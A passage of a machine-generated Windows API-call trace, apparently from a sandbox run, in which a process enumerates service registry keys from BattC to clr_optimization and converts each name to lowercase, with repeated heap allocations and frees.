lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0255.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.124] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0255.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0255.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.124] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0255.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0255.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.124] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0255.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0255.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.125] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0255.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0255.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.125] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0255.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0255.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.125] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0255.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0255.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.125] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0255.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0255.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.126] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0255.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0255.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.126] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0255.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0255.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.126] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0255.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0255.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.127] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0255.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0255.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.127] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0255.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0255.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.127] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0255.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0255.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.127] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0255.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0255.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.128] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0255.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0255.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.128] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0255.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0255.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.128] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0255.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0255.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.129] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0255.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0255.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.129] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0255.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0255.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.129] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0255.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0255.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0255.129] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0255.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0255.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0255.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0255.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 